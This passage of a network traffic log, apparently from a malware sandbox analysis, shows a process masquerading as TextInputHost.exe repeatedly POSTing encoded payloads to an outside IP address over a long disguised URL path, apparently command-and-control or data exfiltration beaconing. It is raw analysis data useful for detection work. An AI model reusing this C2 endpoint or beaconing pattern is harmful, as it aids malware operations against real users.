Apr 2, 2024 23:43:32.073822975 CEST	2552	OUT	Data Raw: 5f 5f 58 53 55 41 51 5a 5d 5c 52 54 56 52 50 50 59 5a 5f 5e 52 53 57 5b 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __XSUAQZ]\RTVRPPYZ_^RSW[P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\9-1 0"[6"=')/^)^<Y.?X5.+35Z*:?#(\=9Y /P,
Apr 2, 2024 23:43:32.357848883 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49814	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:32.766000986 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue
Apr 2, 2024 23:43:33.045521975 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:33.045804024 CEST	2548	OUT	Data Raw: 5f 50 5d 52 50 44 51 5a 5d 5c 52 54 56 55 50 53 59 52 5f 57 52 53 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _P]RPDQZ]\RTVUPSYR_WRSWPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-="5W5Y&)+^>;$Z.0<")(0.?* +<Z*-9Y /P,0
Apr 2, 2024 23:43:33.331969023 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49815	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:33.732461929 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:34.009500027 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:34.009697914 CEST	2548	OUT	Data Raw: 5f 58 5d 5d 55 47 54 5d 5d 5c 52 54 56 55 50 57 59 53 5f 5e 52 52 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _X]]UGT]]\RTVUPWYS_^RRWYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.[- 3%51!3*80,#'\";&)09X+@ ?)=9Y /P,
Apr 2, 2024 23:43:34.292957067 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49816	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:34.707981110 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:34.990897894 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:34.991080999 CEST	2552	OUT	Data Raw: 5f 59 58 50 55 40 51 5d 5d 5c 52 54 56 5d 50 53 59 56 5f 56 52 5c 57 5b 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _YXPU@Q]]\RTV]PSYV_VR\W[P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___',-_60&"160_4>+$- <!;&+!(/#8#)=9Y /P,
Apr 2, 2024 23:43:35.281002998 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49817	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:35.689765930 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:35.970979929 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:35.971189022 CEST	2548	OUT	Data Raw: 5a 5a 58 51 50 45 54 5d 5d 5c 52 54 56 55 50 54 59 55 5f 56 52 5d 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: ZZXQPET]]\RTVUPTYU_VR]WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-=! 2!!30);<_:_!>Q+3%(8 ;4]>9Y /P,,
Apr 2, 2024 23:43:36.258550882 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49818	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:36.659004927 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:36.940951109 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:36.941168070 CEST	2552	OUT	Data Raw: 5f 58 58 57 50 40 51 5e 5d 5c 52 54 56 5c 50 55 59 56 5f 5a 52 5a 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _XXWP@Q^]\RTV\PUYV_ZRZWXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'_-1Y 9"29^':?Y=?,04!^6Q)#+@"++(-9Y /P,
Apr 2, 2024 23:43:37.229810953 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49819	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:37.537674904 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:37.820374966 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:37.820576906 CEST	1868	OUT	Data Raw: 5f 5e 5d 57 50 40 51 5d 5d 5c 52 54 56 52 50 5d 59 5a 5f 5e 52 5f 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^]WP@Q]]\RTVRP]YZ_^R_W]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9=X"&]!!07>;4,3,68+09]( +()=9Y /P,
Apr 2, 2024 23:43:38.109908104 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 51 3c 35 3b 59 21 38 05 09 3c 57 29 0e 25 37 3e 03 2e 2e 29 58 3f 17 05 5d 39 3b 2f 02 22 38 01 5a 28 0d 3a 03 31 3d 3c 59 24 0d 2b 59 01 13 25 5e 28 02 23 0a 31 32 24 0f 32 01 3e 5a 30 09 0e 18 29 2b 2f 0c 24 3e 26 0f 3c 0a 2b 03 2a 33 03 50 29 39 38 06 3b 3f 3a 01 21 24 2a 5e 0c 17 22 53 2b 29 0a 00 32 51 24 12 2a 21 27 5e 2b 35 20 12 29 5f 3f 56 26 12 21 17 3e 11 20 56 25 5b 2d 1f 2a 03 2d 54 23 32 30 09 3d 02 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'Q<5;Y!8<W)%7>..)X?]9;/"8Z(:1=<Y$+Y%^(#12$2>Z0)+/$>&<+3P)98;?:!$^"S+)2Q$!'^+5 )_?V&!> V%[--T#20='] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49820	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:37.625935078 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:37.905052900 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:37.905280113 CEST	2552	OUT	Data Raw: 5a 5f 5d 56 55 49 51 5a 5d 5c 52 54 56 5c 50 50 59 50 5f 57 52 53 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_]VUIQZ]\RTV\PPYP_WRSWZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.>)[5#]!5X$9'=+:/]58<3&(?7(X=-9Y /P,
Apr 2, 2024 23:43:38.189863920 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49821	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:38.609251022 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue
Apr 2, 2024 23:43:38.892960072 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:38.893166065 CEST	2548	OUT	Data Raw: 5f 5f 58 56 50 45 51 5d 5d 5c 52 54 56 55 50 51 59 51 5f 5d 52 5f 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __XVPEQ]]\RTVUPQYQ_]R_WZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___']. &Z6=_3#\)0[:0<"(Q+ Y*)?#(==9Y /P,8
Apr 2, 2024 23:43:39.184056044 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49822	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:39.581542015 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:39.867487907 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:39.869409084 CEST	2552	OUT	Data Raw: 5a 5f 5d 5c 50 42 51 5b 5d 5c 52 54 56 5c 50 54 59 52 5f 58 52 52 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_]\PBQ[]\RTV\PTYR_XRRWXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'^:)_" 1!$?_?8_.35;9+35\(<@7(8Z-9Y /P,
Apr 2, 2024 23:43:40.157613993 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49823	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:40.566458941 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:40.849963903 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:40.850179911 CEST	2552	OUT	Data Raw: 5f 5a 5d 55 55 48 51 5d 5d 5c 52 54 56 53 50 51 59 57 5f 5b 52 59 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]UUHQ]]\RTVSPQYW_[RYWXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\.5^52"W9\''\)(.0#_!8"(V5(:4D";'*=9Y /P,0
Apr 2, 2024 23:43:41.141947985 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49824	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:41.553431988 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:41.838958979 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:41.839205980 CEST	2548	OUT	Data Raw: 5a 5b 5d 5d 55 41 54 58 5d 5c 52 54 56 55 50 56 59 52 5f 59 52 5f 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z[]]UATX]\RTVUPVYR_YR_WZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$->=[5 =62='_7^=^8.3,5*?[+A7)=9Y /P,$
Apr 2, 2024 23:43:42.134932041 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49825	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:42.697567940 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:42.977920055 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:42.978100061 CEST	2552	OUT	Data Raw: 5a 5b 58 54 55 48 51 5c 5d 5c 52 54 56 51 50 56 59 51 5f 5c 52 5b 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z[XTUHQ\]\RTVQPVYQ_\R[W\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'^.>"#:X51'(=<:U7!5<%*:4(]>=9Y /P,8
Apr 2, 2024 23:43:43.266829014 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49826	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:43.400424957 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:43.684946060 CEST	25	IN	HTTP/1.1 100 Continue
